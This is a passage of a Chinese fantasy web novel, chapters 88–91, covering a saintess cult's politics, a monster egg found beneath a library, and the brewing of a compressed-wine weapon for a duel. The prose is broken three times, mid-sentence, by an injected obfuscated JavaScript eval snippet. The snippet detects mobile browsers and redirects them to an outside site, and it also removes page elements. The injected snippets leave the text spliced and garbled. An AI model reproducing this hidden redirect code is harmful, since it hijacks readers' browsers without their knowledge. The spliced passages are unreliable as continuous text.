“圣女、聆月使、守月卿、月教信女……若允许他们婚嫁生育,意味着他们的爱与生命,将不可避免地分流。当他们怀中抱着自己的骨血,心中又如何能保证——对月亮、对万千族人的奉献,依旧如月光般毫无保留、清澈见底?” 恍惚间,我忆起仙人诞育子嗣的艰难抉择,似乎与天翮族这严苛的旧俗,在某种本质上一脉相通。 宏音的声音继续缓缓流淌,如深涧冷泉,“对圣女而言,唯有奉献者献上其作为凡人最本能的欲望——情爱与繁衍,她的存在才能成为所有信徒心中无可指摘的图腾。这正是天翮一族信仰维系千年不坠的……代价。”他顿了顿,目光深远,“这信仰必须如月亮一般,悬于天穹,遥不可及。它需要一道常人难以跨越的鸿沟,需要一种世人难以企及的牺牲,来证明其价值,来让所有仰望者——既得慰藉,又存敬畏。” 我心中剧烈一震,被宏音攥在掌心的手指不由自主地收紧,渗出冰凉的薄汗。 “照夜啊,要记住,简单朴素的信仰,如同沙堡,潮水一至便消散无踪。唯有以生命与未来为基石筑起的信仰,方能历经风雨,屹立不倒。” 我凝望着宏音,下唇被咬得微微发白。半晌,才轻声开口,“你的道理……听起来很能迷惑人。但宏音,我要问你一个最关键的问题。” “请讲。” 我将手轻轻从宏音掌心抽回,退开半步,一字一字清晰说道,“说得再冠冕堂皇,你们最终的目的,终究只是为了——统治、控制族人,对吗?” 宏音静立原地,阳光将他投在地上的影子拉得修长。他并未回避我的目光,嘴角甚至浮起一丝极淡的、近乎坦诚的弧度,“没错。信仰,不过是统治万民的一种……古老手段罢了,仅此而已。”他微微颔首,声音里听不出波澜,“为此,付出些统治者理应付出的代价,岂非……很是合理?” 思绪行至此处,棠梨之死的真相,已如一幅缓缓展开的残酷卷轴,在我心中逐渐清晰。 圣女本不可婚嫁,更遑论生育。然而当年,为免天翮一带重蹈怪物肆虐、城毁人亡的覆辙,棠梨毅然决然选择了与月下州联姻。 这一违背古老戒律的举动,无疑点燃了三城某些极端信徒心中仇视的火焰。这份愤怒,又被朝中那些意图颠覆舒仲皇权的势力暗中引导、利用,最终演变成一场冲向棠梨宫的暴乱。 信徒们试图“夺回”他们的圣女,却恰好落入了他人精心布下的杀局——“适时出现”的禁军,以镇压逆乱之名,将信徒尽数诛杀。而这场混战,更“意外”地牵连了被诬为与逆贼“勾结”的皇后棠梨,以及当时恰在现场的幼年舒岸。 一箭三雕。何其狠辣,何其周密。 宫变的结果,是信徒伏诛、棠梨殒命、舒岸重创。所幸,洞察背后阴谋的舒仲,并未如敌人所愿踏入陷阱——挥师讨伐玉山南三城。他选择了隐忍,将翻涌的血海深仇与彻骨之痛,埋在了时光的灰烬之下。 然而,属于过去的无悔、遗憾、悔恨与追忆,终究已失去了意义。那三个人——心怀大爱的圣女、深藏情愫的人君、天真懵懂的幼弟——早已随着棠梨宫的烟尘,以及归德城的灰烬,于此世间,彻底湮灭。 藏书馆深处的秘闻室内,二三十位来自各族、形貌各异的学者聚在一处,试图破译那些蝌蚪般的天翮古文。我对那些争论兴致缺缺,倒是尾巴颇有兴趣,趴在宏音肩头,光晕随着辩论的节奏微微明灭。 我独自漫步于巍峨寂静的书架丛林之间。光线昏黄,尘埃在从高窗斜射而入的光柱中缓缓浮沉。随手从架上抽出一册以天翮古文书就的厚卷,我盘腿坐在角落的阴影里,漫无目的地翻动起来。 这似乎是一本图册。文字虽如天书,内里的图画却生动详实,即便孩童也能看懂个大概。 那是一幅月羽木的纵剖图——不,更准确地说,是整座翮山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549554|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的剖面景象。图中,月羽木庞杂发达的根系如巨掌般深深攫住山体,其粗壮无匹的主干则从玉轮湖的正中央破水而出,笔直贯向天际,仿佛一支意图触碰月亮的巨箭。 至少千年之前,月羽木便是如此神迹般的模样。 有趣的是,此书对月羽木的描绘细致入微,树皮的纹路、茎叶的形态、根系的分布、乃至花朵的结构,皆有详尽图解。 这哪里是古籍,分明像一本《月羽木栽培养护全指南》。 正看得入神,脚腕处忽然传来一阵冰凉滑腻的触感。我低头一看,心中蓦地一跳——那条讨厌的黑脊蛇,不知何时又悄然出现,正蜿蜒盘绕在我的裤脚边,猩红的信子时不时探出,轻轻舔舐着我裸露的脚踝。 “干嘛?”我没好气地低声道,“又想打结了?” “嘶——嘶嘶。”黑脊蛇昂起小小的三角头颅,暗金色的竖瞳一瞬不瞬地盯着我。 我拧着眉,伸手将它拎了起来,“我说了,听不懂蛇语。” “嘶嘶——嘶嘶~” 黑蛇并不挣扎,反而顺势从我手中滑落,贴着冰凉的石板地面,迅速而灵巧地游向藏书室的门口。它回头望了我一眼,随即钻出了门缝。 犹豫了一瞬,我合上书册,起身跟了上去。 这滑溜的小东西仿佛识得所有隐秘的路径,领着我穿梭于空旷的廊道与盘旋向下的阶梯,竟未被任何人察觉。越往下行,空气越是沉滞憋闷,混合着旧纸、石料与隐约的潮气。 最终,黑脊蛇停在一道破损的半掩石门前。门内幽暗,一道微弱的光栅拦在入口,散发出淡淡的波动。门后隐隐传来一股难以言喻的、陈腐霉变的气息。 我侧耳细听,寂静中,唯有清晰而规律的水滴声,从深处传来。 我伸出手指,触碰那道光栅。体内的仙力微微流转,光栅便如水纹般荡漾、消融,被我悄然吸收。随后,黑蛇毫不犹豫地钻了进去。 门内是另一间废弃的藏书室,似乎因地下渗水严重而被暂时封闭,等待修葺。地面四处可见开挖的土坑,浑浊的地下水正从坑底汩汩冒出,空气中弥漫着湿润的土腥与更深的腐朽味道。 黑脊蛇游至一个较大的水坑边,回头朝我嘶鸣一声,随即“噗通”跃入水中,只在水面露出一个小小的黑色头颅,暗金色的眼睛在昏暗中幽幽发亮。 “嘶嘶嘶!” “……你是要我,跟你下去?”我蹲在坑边,看着那深不见底的浊水,头皮发麻。 “嘶!” “开什么玩笑!我、我可不会水——” 话音未落,水中黑影骤然窜出!冰凉坚韧的蛇尾如鞭子般猛地卷住我的脚踝,一股不容抗拒的大力传来—— “啊!” 惊呼声被涌入的冷水扼断。我整个人被黑脊蛇狠狠拽入了漆黑冰冷的水坑之中。 我的口鼻瞬间被浑浊的地下水灌满,眼前一片漆黑。慌乱中,只觉缠在身上的黑蛇身躯骤然膨胀,冰冷的鳞片密密匝匝将我裹紧,以惊人的速度拽着我向更深的黑暗中下坠。 很快,头顶传来“砰”的一声闷响,像是撞破了什么坚硬的阻碍。紧接着是震耳欲聋的“哗啦”巨响,碎石与泥浆劈头盖脸地砸落,震得我耳膜发疼,头皮发麻。 “砰!” 终于重重落地。好在最后一刻晶盾本能般护住了我的周身,我并未摔痛。反倒是垫在身下的黑脊蛇发出一声含糊的“嘶”鸣,软塌塌地瘫着,一副险些被砸得背过气去的模样。 我撑着湿滑的地面爬起来,甩了甩满头满脸的泥浆,环顾四周。 头顶破开一个大洞,浑浊的水流裹挟着泥沙,如小型瀑布般不断倾泻而下。而我身处之地,竟是一处明显由人工开凿的石室——墙壁由坚硬的青灰色岩石砌成,打磨得颇为平整,其上雕刻着连绵的月相图案,从新月到满月,循环往复,虽覆着厚厚的泥垢与青苔,仍能窥见昔日的精细。 89. 第89章 天翮城地下全是怪物卵壳 我一身狼狈,活像刚从泥潭里捞出来。可恶……这黑蛇到底把我拐到了什么鬼地方?尾巴那家伙,竟然没发现我失踪了吗? 看来,藏书馆漏水那层的下方,竟还隐秘地藏着这样一间石室。黑脊蛇撞破了石室顶壁,才让上方积压的地下水找到了宣泄的出口。 “嘶嘶——” 黑脊蛇已缓过劲,扭动着身躯,朝石室深处示意。我拧着湿透的衣摆,跟了上去,心里恶狠狠地想,等出去,非得给你打成个解不开的死结,挂上三天三夜! 越往前走,通道越是狭窄低矮,仅容一人弯腰通过。空气沉闷得令人窒息,混合着泥土、岩石与某种难以言喻的陈旧气息。岩壁湿漉漉的,不时有冰冷的水滴落在我脖颈上。幽暗的深处仿佛传来极其细微的、窸窸窣窣的声响,不知是水流,还是别的什么。 不知在压抑的黑暗中摸索了多久,黑脊蛇终于停下,对着前方一堆不起眼的、被水浸泡得松软的泥土拱了拱脑袋。 我明白它的意思,忍着心头的不安,蹲下身徒手挖了起来。泥浆冰冷粘腻,没过多久,我的指尖忽然触到一个异常光滑、圆润,甚至带着一丝微弱暖意的物体。 触感传来的瞬间,一种源自本能的惊悸猛地窜上我的脊背。 我深吸一口气,加快了扒开泥土的动作。当那东西完全暴露在眼前时,即便做足了心理准备,我仍倒抽一口冷气,像被烫到般猛地将它甩在地上,连连后退数步,背脊重重撞上湿冷的岩壁。 那是一枚……卵。 约有成年男性拳头大小,外壳并非坚硬,而是呈现出一种半透明的、琥珀般的胶质状态,表面油润光滑,在手边微弱的光芒映照下,隐隐流转着浑浊的暗金色光泽。卵壳内部充满了粘稠的、仿佛活物般缓缓流动的液体。而在这令人作呕的液体中央,盘踞着一团隐约可见的、正在缓慢蠕动着的阴影,其形态难以具体描述,只觉扭曲、怪异,散发着一种与周围死寂环境格格不入的、令人毛骨悚然的——生命气息。 是瘴母神的卵。 寒意瞬间从我脚底冲上头顶。瘴母神的卵壳竟藏在这种地方……如此隐蔽,如此深入山体!这还仅仅是一枚,天知道整座翮山之下,究竟埋藏着多少这样的东西? 到底要怎样,才能彻底清除这些怪物? 地道顶壁传来不祥的“嘎吱”声,泥浆掉落得越发频繁。此地不宜久留,而我身上又无火源。无奈之下,我只能示意黑蛇衔起那枚诡异暖热的卵壳,迅速沿原路撤退。 许是嫌我速度太慢,黑脊蛇再次用尾巴卷住我的腰,贴着湿滑的地面“刺溜刺溜”飞速游动。我们刚险险冲出那狭窄的地道,返回稍显宽敞的石室,身后便传来“轰隆”一声巨响! 泥沙俱下,烟尘弥漫——我们来时的通道,彻底坍塌封死了。 “照夜!” 就在这时,头顶破损的大洞上方,传来了宏音的声音。穿透哗哗的水流声,依旧清晰沉稳。 “我在这儿——!” 很快,一道身影利落地从洞口跃下,轻巧落地,正是宏音。他看到我一身泥浆的狼狈模样,先是一怔,随即无奈地低叹一声。目光扫过一旁的黑脊蛇,以及它口中衔着的那枚怪异卵壳时,他眼中掠过一丝了然。 宏音二话不说,上前抓住黑脊蛇的尾巴,手臂抡圆,像甩动绳索般将它旋转两圈,随即猛地向上一掷!蛇身如同富有弹性的钩索,笔直向上窜去,紧紧缠住了洞口边缘的某处。 宏音试了试力道,确认稳固,这才回身一把将我揽住,声音贴着我的耳畔响起,听不出太多情绪,“抱稳了,惹事大王。” 话音刚落,上方缠绕的黑蛇身躯骤然绷紧、收缩,传来一股强大的拉力!我们瞬间离地,顺着那湿滑的“蛇绳”向上疾升。 耳边风声呼啸,夹杂着水流与碎石滑落的声响。我紧紧抓住宏音的衣襟,在急速上升的眩晕中急急开口,“宏音!我在地下挖到了一枚怪物的卵!是黑蛇找到的,它可能……是闻到了怪物的气息,才把我引到那里。” 宏音的身体似乎微微僵了一下,但声音依旧平稳,“然后呢?” “得赶紧回到地面,用火烧了它才行!”我急切道。 短暂的沉默后,头顶上方传来宏音低沉的声音,那声音里透着一丝近乎残酷的平静,在这幽暗的垂直通道中回荡,令人心头发冷,“翮山之下……这样的卵,或许有成千上万。你挖得完,烧得尽么?” 宏音的话,像一盆冰水浇在我心头,令人说不出的沮丧。焚烧怪物卵壳的差事,自有天翮军与仙军去操心——他们早已在城中反复清扫排查了许多轮。 而藏书馆内那场汇聚了各方学者的研讨,最终也未能破译天翮古文半分,更别提窥见任何古老的秘密了。 尾巴软趴趴地耷拉在我肩头,光晕比平日黯淡些,似乎还在为我被黑脊蛇“拐跑”的事闹别扭,闷声抱怨道,“你是不是变了心,觉得那滑溜溜的臭蛇比我靠谱?” “哎,我现在烦着呢,尾巴。”我叹了口气,用手指轻轻戳了戳他,“到底要怎样才能把那些怪物彻底清除掉啊?” “小笨蛋,”尾巴的光晕忽然亮了一下,带着点得意的摇晃,“这段时间你到处乱跑,我可没闲着,几乎把能看的书都‘扫’了一遍。还真让我发现了一点……有趣的踪迹。” 大概是今年冬天格外寒冷,那条黑脊蛇似乎有些扛不住,显出了冬眠的迹象。此刻它正安安稳稳地盘成一团乌黑的“蚊香”,窝在我脚边,闭着眼一动不动,只有细微的呼吸证明它还活着。 “好啦好啦,聪明的尾巴先生,”我把尾巴托到掌心,凑近道,“别卖关子了,赶紧分享一下你的‘学习心得’。” 其实,这并非什么绝密之事。尾巴所说的,是记录在不少典籍里的时间线。一千三百多年前,天翮城一带并无大型战争,也几乎没有怪物肆虐的记载。而恰恰是在那个时间段之后,月羽木彻底枯亡。自那以后,怪物灾害便开始周期性地卷土重来,最终导致了天翮族的衰亡与断代。 这段历史我也知晓,毕竟青莲山的藏书也非虚设。两条时间线如此紧密衔接,确实引人遐想,但这仍不足以直接证明尾巴的观点——月羽木拥有净化、乃至镇压这些可怖怪物的力量。 那么,从逻辑上,这说得通吗? “自然说得通。”尾巴的光晕凝聚,显得认真起来,“照夜,你还记得归德城外那棵由无数残躯构成的‘肉树’吗?组成它枝干与‘果实’的,有人,有妖兽……但你可曾见过,有植物成为它的一部分?” 回想起那噩梦般的景象,我仍觉脊背发凉,“你的意思是……植物不在怪物的‘食谱’上?” “准确说,是普通的植物和动物,对怪物而言‘营养价值’极低,除非饿极了,否则它们并不‘爱吃’。”尾巴顺着我的手臂轻盈地攀上来,光晕停在我眼前,如同一个悬空的小小先生,“归根结底,是因为寻常的草木鸟兽体内不含或仅含微量仙力。对怪物而言,吃着如同嚼蜡般无趣。但妖兽、灵木则不同——它们本身,就是高度凝练的仙力聚合体。” 尾巴顿了顿,强调道,“而那些怪物……它们疯狂掠夺、吞噬、融合的根本,正是仙力本身。月羽木,作为曾经支撑一方天地、连接月华的至圣灵根,它蕴含的浩瀚仙力与净化特性,或许正是克制、甚至‘净化’这些以仙力为食的畸变存在的关键。” 我极力回忆着《修仙指南》上的零星记载,顺着尾巴的思路往下说道,“妖兽体内蕴藏仙力,对怪物而言是上好的‘食粮’。归德一战,那些菌丝会主动捕捉、吞噬飞兽并加以异化,就是明证。但灵木却不同……灵木汲取、转化的仙力极为纯粹,其本身就对驳杂的仙力有着天然的净化之能,比如澜歌树。所以,灵木对无法吞噬至纯仙力的怪物来说,很可能……是有‘毒’的。” “哎呀呀,今天又是聪明的一面压倒了笨蛋的一面呢!”尾巴高兴地扭了扭光晕,像是在跳舞,“正是如此!遗憾的是,灵木成材所需岁月动辄以千年计,其净化范围也终究有限。用它们来对付蔓延的怪物,不过是杯水车薪。” 也就是说,尽管我和尾巴探讨出了一个看似合理的结论,于现实却并无大用。 我沮丧地窝在原地,长长叹了口气。那边,宏音亲眼看着那枚诡异的卵壳在烈焰中彻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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溟牙歇了口气,斜睨我一眼,语气勉强维持着平淡,“化西城西,发现怪物踪迹。剿灭时,受了点小伤,仅此而已。” 我心头一紧,立刻抓住溟牙的衣袖,“什么样的怪物?处理干净了吗?烧透没有?!” “不过是刚孵化的幼体,不足挂齿。” 见溟牙如此轻描淡写,我更不解了,“那你这伤……怎么来的?” “啧。”无悔在一旁咂了下嘴,转身取来一只陶罐,里面是浅绿色的细粉。他毫不客气地将药粉撒在溟牙狰狞的伤口上。 “嘶——!”溟牙倒抽一口冷气,额角瞬间渗出细密的冷汗,脖颈上的青筋都凸了出来。若非上仙的尊严死死撑着,恐怕他早已痛呼出声。 “是星允的‘糖稀’。”无悔撇撇嘴,手下动作却不停,“那玩意儿造成的创伤极难愈合。忍着点吧,这可比魔皇的酸液温柔多了,好歹假以时日,总能驱除干净。” 闻言,溟牙重重靠向椅背,闭目沉沉叹了口气,那向来阴冷傲气的脸上,竟透出几分罕见的疲惫与痛楚。 “钩星的黑雾……这么厉害?”我小声问。 无悔搓了搓自己的胳膊,仿佛也感同身受般泛起一阵寒意,“那毒液如同附骨之蛆,一旦沾上,这辈子除非死了,否则日日夜夜、时时刻刻,都要受那钻心刮骨般的疼痛折磨。” 我下意识地吞咽了一下,喉头发紧。不禁想起生不如死的晋川,还有……梦中那个曾轻声坦言,因痛到极致而不得不长久沉眠的青衣少年。 这次在化西以西,溟牙领队剿灭一处怪物巢穴时,竟遭星允以“糖稀”进行了报复性的无差别袭击。除他之外,另有七八名仙军将士受伤,如今都留在化西城中医治。 很难理解,一位堂堂玄珠上仙,为何会在明知仙法对怪物收效甚微的情形下,反倒对己方同袍痛下此等杀招。 未生昔日的话语,忽而又在我耳畔响起:讨伐怪物本身,本就是练兵良机。仙军自有其考量,常将战事维持在一个“打不赢也输不了”的微妙平衡点上。 正如玉山。 90. 第90章 溟牙的秘密;圣男可以吗 对于我无声的疑问,溟牙并未反驳,苍白的唇边只掠过一丝冰冷的讥诮。伤痛与连日的疲惫终于压垮了这个向来阴鸷瘦削的男人,他靠在椅背上,头微微一侧,竟在这嘈杂的医馆中沉沉睡去。 习惯了对什么都想“舔一口”、探个究竟的尾巴,自然不会放过这个机会。他悄悄溜到溟牙身边,光晕极轻地拂过对方胸膛,探知了对方的小秘密后,便溜了回来。 原来,溟牙是那玄牝仙人游历魔界时,和一条蛇妖兽生下的孩子。 当年讨伐玄牝之战,已是银珠位阶的溟牙不仅参与其中,更在战力悬殊的情况下,亲手击败了自己的生父。正是此举,赢得了渊寂的注目,得以拜入其门下。 我曾记得,溟牙曾说他的师父救了他,便是为其肝脑涂地也愿意。此刻,我愿意相信,他口中的“师父”或许并非渊寂,而是……云笈。如此说来,未生、晋川、川晋,乃至溟牙,都曾师从同一位尊者。 再深的故事,尾巴便不宜继续探知了。不知为何,经历了这许多,此刻望向沉睡的蛇瞳男人,我心中竟生不出一丝厌恶。 哪怕我们最初的相遇,是那般针锋相对,不甚愉快。 时光如檐下水滴,悄然而逝。终于到了宏音炼制那坛“酒”的最后关头。 几场连绵冷雨过后,天翮城终日笼罩在湿重的云雾里,刺骨的寒气冻蔫了田里新苗。鉴于气候变化太大,天翮城必须要为口粮考虑了,毕竟哪怕怪物来或不来,人都得吃饭。 宏音这些时日格外忙碌,可几乎忙到这番地步,他仍会在我每日睡前定时骚扰一番。这夜,我正与尾巴窝在暖烘烘的被褥里讲着悄悄话,一只大手忽地掀开被角,放进了满室寒凉。 “睡前不准偷偷聊天。”宏音的声音带着屋外的雨气,“再不睡,尾巴便没收了。” 尾巴不服气地闪了闪,可还未出声,就被宏音眼疾手快地捏住,塞回了青莲瓶中——因棋艺逊了一筹,尾巴本能地露了怯,只得乖乖蜷回瓶里,隔着瓶壁眼睁睁看着宏音又如常来“支付”他的“报酬”。 一个带着潮湿寒意的晚安吻轻轻落在我额头上,证明它的主人方从外面归来,沾染着尘雨的气息。 “我一定会告诉小青,”我小声嘟囔,“等他来了,看他怎么收拾你。” 宏音只是低笑,指尖抚平我皱起的眉,“无妨。青莲也是孩子,我亦可给他晚安吻。想来他不会介意……毕竟,他与你一样,都需要一位‘阿爹’。” “啊?”我简直无语,“当爹就这么快乐吗?你这癖好……已经变态到我不知如何评价了。” “好了,别贫嘴。”宏音替我掖好被角,“明日一早随我去,把你的‘酒’酿出来。” 宏音起身欲走时,我拽住了他宽大的袖摆。“那个,我打听一下……圣女选拔决赛的题目,到底是什么?” “你若仔细读过参赛指南,便不会问出这等天翮族三岁稚儿皆知的问题。”宏音回身,轻轻捏了捏我的脸颊,垂眸间神色难辨,“决赛……便是‘模仿圣女最像者’,胜出。” 真是令人叹为观止。合着这所谓的“月翮圣女选拔大赛”,到头来竟与“月”、“翮”、“圣”三字全无干系。 话又说回来……圣女,必须是女子么?“圣男”……好像也未尝不可? 眼下,我最该操心的,便是赶紧将那坛“纯酒”酿出来,尽快向星允递上战书。之后,便得想法子,尽可能多地将翮山之下潜伏的那些怪物卵壳清理掉。 至于那个始终未曾露面的“秽道人”……我相信他迟早会按捺不住冒头。届时,我一定要当面向他问个明白——为何要培育怪物! 地下暗河湍急依旧,水声在狭窄的通道内轰然回响。所幸宏音驾着那水舟的技术极稳,舟身虽随波起伏,却并无颠簸之感——至少,尾巴这次没嚷嚷晕船。 再次踏入先前遭遇碎蝶的那个巨大洞穴,眼前的景象却令我怔了怔。洞穴内竟密密麻麻垒满了酒坛,几乎占去大半空间。我正暗自嘀咕哪来这许多酒,便见无悔黑着一张脸,朝宏音伸出手,讨要工作经费。 宏音眼皮都未抬,只淡淡道:记在月泉司账上。 我见状,正想找个角落偷闲,等着他们完成前期繁复的步骤,无悔却一把将我拽了起来。 “你这家伙,认真点行不行?”无悔毫不客气,“岂能光坐着等现成?” 随后我才得知,原来二十坛醉仙酒的精华纯液,早已提取完毕。 我瞠目结舌。原来宏音这些时日晚归,竟是在暗中进行着前期最耗时的提炼与封装。他们买光了花水镇窖藏的“花水烧酒”,以上千坛凡酒为基,硬生生萃取出这二十坛晶莹剔透的酒之精元,并以宏音的纯水仙力完成了初步封装。 见宏音招手,我连忙凑上前,去看那所谓的“封装液”。 坛中之物清澈如水,静谧无波,甚至凑近了也嗅不到丝毫酒气。 “纯水已将其切割、分装,因尚未进行最终压缩,暂且保持着液态。”宏音深吸一口气,将手掌轻按在我肩头。他的目光转向我颈侧黏着的尾巴,顿了顿,仿佛在对着空气低语,又似在陈述某种心照不宣的结论,“棋友,若准备妥当,便开始吧。” 尾巴的光晕脑袋在空中昂了昂,随即轻轻一颤。只有我能听见的声音,带着一丝狡黠与挑衅,在我脑海中响起,“宏音,你该察觉到了吧……之前对弈,我不过是故意输的。” “啊?”我忍不住出声,“你没事干嘛故意输?!” 一旁的无悔歪着头,看看宏音,又看看对着空气说话的我,一脸困惑地小声嘀咕,“演得还真投入……竟陪这小胖妞玩起自言自语的角色扮演了。真是……够变态的。” 宏音对我的“自言自语”恍若未闻,只是唇角微不可察地弯了弯。他忽然伸手,并非抓向尾巴,而是虚虚向下一引——下一瞬,我只觉尾椎骨处微微一热! “砰!” 一声轻响,金光自我身后迸发,瞬间延展、凝聚,化作一道粗长耀眼的光之巨尾!尾梢稳稳握于宏音掌心,而另一端,则深深连接着我的脊骨。 磅礴的仙力如潮汐般开始奔涌,带起的气流在洞穴内盘旋呼啸,吹得无悔几乎站立不稳,衣袍猎猎作响。 “自然,”宏音的声音平静响起,仿佛正与一个看不见的对手交谈,“你我皆在互相试探。我窥见了你的真身,而你……也早知我已看破。” 我侧着耳朵,努力想听清那不存在的对话,“什么?尾巴的真身?!” 只有我能听见的轻笑声传来。与此同时,那绚烂的光尾如活物般游动,迅速缠绕上宏音的手臂与身躯。“骗子与哑巴,若让我选……”尾巴的声音留下最后一个短促的尾音,“我宁做前者。” 紧接着,澎湃的力量开始自我体内被源源不断地抽出。宏音闭目凝神,双手虚托,那二十坛封装液竟随之凭空悬浮而起。缠绕其身的金色光尾骤然分叉、延展,在半空中交织成一张巨大而致密的光网,将所有的液团尽数笼罩。 光网收缩。 璀璨的金芒将幽暗的洞穴映照得如同白昼,整个山体都随之发出低沉的嗡鸣,微微震颤。细小的碎石从洞顶簌簌落下。 无悔早已看呆了,他张着嘴,眼中除了惊愕,更有一丝后怕——我榨干他这件事儿,根本不值一提。 很好,没我什么事儿,我坐在一旁等待即可,又是躺赢的一天。 时间在幽暗的洞穴里无声流淌。我依旧没有感到饥饿,反倒是阵阵困意如潮水般涌来,眼皮渐渐发沉。一旁的无悔显然也看累了,揉了揉酸胀的腮帮,挨着我坐了下来,试图找些话说。 “先前对于找渊寂报仇这事儿,我其实没抱太大指望。”无悔抱着膝盖,声音有些闷,“但见识了你这‘本事’… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“差不多了。”尾巴的光晕在我眼前晃了晃,好似捏了一下我的鼻尖,“宏音对仙力的感知与掌控之精微,不逊于百目。只可惜……他的‘量海’终究太浅了。”那光晕微微凑近,仿佛在仔细端详我的眼睛,“大约是见识过你这片‘汪洋’,再看别人的,便不免觉得……有些局促了。” “你是说,即便在你口中‘量海太浅’的宏音,在寻常仙人之中,也已算浩瀚了?” 尾巴轻轻一笑,那笑声如同微光流淌。他盘绕到我耳畔,柔软的光团贴着我的脸颊,像一只暖和的绒枕,“小笨蛋,这世间量海足够广博,又能将仙力驾驭得出神入化者……掰着手指也数得过来。煌木……勉强算一个吧。” “……尾巴。”我抬手,指尖轻触那依偎着我的温暖光晕,声音不自觉地放得很轻,“你……到底是谁?” “是仙丹的核心,寄居在那颗莲子里。而莲子,又被仙丹裹在最深处。”尾巴的回答依旧如旧,光晕平稳地闪烁着。 “总觉得……你在骗我。” 尾巴没有立刻反驳。他轻轻将我扶坐起来,光晕如手掌般拍了拍我的发顶,随即又眷恋地埋入我的发间。这一次,他的声音仿佛是从我身体的某处隐秘角落,直接渗入意识深处,“那么,你来选吧。是要一个——‘骗子’,还是要一个……‘哑巴’。” 我没有再追问下去。 我想,还是不要把尾巴逼成一个“哑巴”才好。毕竟,我已经太习惯他在我身边絮絮叨叨、插科打诨,或是冷不丁冒出些尖锐又通透的见解。倘若有一天,这片温暖的光彻底沉寂下去,不再有任何回响…… 我大概——不,我甚至连这样的假设,都不愿去细想。 胆小如我,绝不做这种会让眼泪流干的假想。 胆小一些,也没什么大不了的。 就像我当年心甘情愿隐居于青莲山中一样,只要那朵漂亮的花儿还在静静开着,我就可以一辈子,都不踏出山门半步。 91. 第91章 酿酒成功;照夜下战书 随着那璀璨的金光如退潮般缓缓收敛,最终完全没入我的身体,宏音对那坛纯酒的最终压制与封装,也宣告完成。 疲惫之色肉眼可见地浮现在宏音脸上。即便有尾巴提供的磅礴仙力作为支撑,完成这般精微而强韧的操控,对他而言消耗依然巨大。他见我走近,眼中泛起一丝温和的倦意,伸手怜爱地捏了捏我的耳垂,竟俯下身,将微凉的脸颊轻轻贴了贴我的侧脸。 一旁目睹全程的无悔,终于忍无可忍地翻了个巨大的白眼,连“变态”二字都懒得再出口,仿佛已对这种沉溺于“当爹”戏码的行径彻底麻木。 我也懒得再去制止或反驳,全副心神已被眼前那团炼制而成的“纯酒”牢牢吸引。 它静静地悬浮在半空,被一层极淡的、几乎不可见的氤氲水汽所环绕。 乍看之下,这液体纯净得不可思议,无色无味,恍若一掬取自九天云外、未经尘染的空灵之水,甚至比最清澈的山泉更显得通透虚无,仿佛其中空无一物。 然而,当我屏住呼吸,小心翼翼地伸出手指,试图轻轻触碰、晃动这捧“静水”时,一种极其诡异的违和感,瞬间从那微凉的表面传递至我的指尖。 它在流动,却带着一种隐晦的粘稠与沉坠。 触感玄妙难言。其流动全然不似水流般轻灵欢快,反倒更像是最顶级的、温润如玉的蜂王浆,又或是在极寒之境中仍未冻结、缓缓流淌的浓稠松脂。我能清晰感知到液体内部那迟滞的、充满内在张力的运动韵律,仿佛有无数肉眼难辨的微小个体正在其中相互拥挤、摩擦,却又被某种更强的力量紧紧束缚、链接在一起。 毕竟,依据宏音与尾巴的理论,这团蕴藏着可怕潜能的小东西,是由无数被纯水薄膜包裹、均匀悬浮的“酒之精元”微珠构成的聚合体。光线落在它看似平静的表面上,反射出的并非水光的轻盈跳跃,而是一种更厚实、更柔腻,仿佛被一层无形膜衣紧紧绷住的、略带油润质感的光泽。 这,便是被仙力之水强行封装、压缩到极致之后的“酒魄”形态。 “也算是一次简易的法器炼制过程了,虽然只是件消耗品。”宏音的声音带着疲惫后的沙哑,他伸手凌空揉捏着那团奇异的液体,最终将其稳妥地引入一个看似普通的陶制酒坛中,“罢了,能派上用场便好。” 无悔连忙凑上前,双手极其谨慎地捧过那只酒坛,连呼吸都屏住了,甚至出于本能脱口嗔怪,“我的宏音大人……您可千万轻着点儿!这玩意儿要是出了岔子,怕不是得把这山洞都……” 无悔的担心不无道理。这坛中之物,看似是一汪清水,实则是被水之牢笼囚禁的、无限浓缩的狂暴之火。它的外层,是宏音那绝对纯净、冰冷且附着力极强的仙力之水构成的完美封壳;内里,则是被极限压缩、时刻躁动不安、蕴藏着骇人能量的酒精本源。 工作既毕,宏音牵起我的手准备离开,朝无悔随意摆了摆手,“届时你们寻个僻远处了结恩怨,我便……睁一只眼,闭一只眼。” “好嘞宏音大人,慢走宏音大人!”悔捧紧了怀中的坛子,脸上终于露出如释重负又带着期盼的笑容。 我回到聆月石府的头等大事,便是给星允写那封约架信。我打定主意要写得凶狠嚣张,气焰冲天。宏音累极了,难得失了平日的端正仪态,斜倚在软枕上,却仍不忘从旁指点,教我如何用字句戳星允的肺管子。 〔下流的大王八星允: 你那一万次磕头换来的名号,听着唬人,实则臭不可闻。占了几处散仙的破洞府,就真当自己是个人物了? 七日后,苦修崖。 若不来,我便将你干过的腌臜丑事,连同你这缩头乌龟的怂样,刻满仙界每一块能站人的石头! ——照夜〕 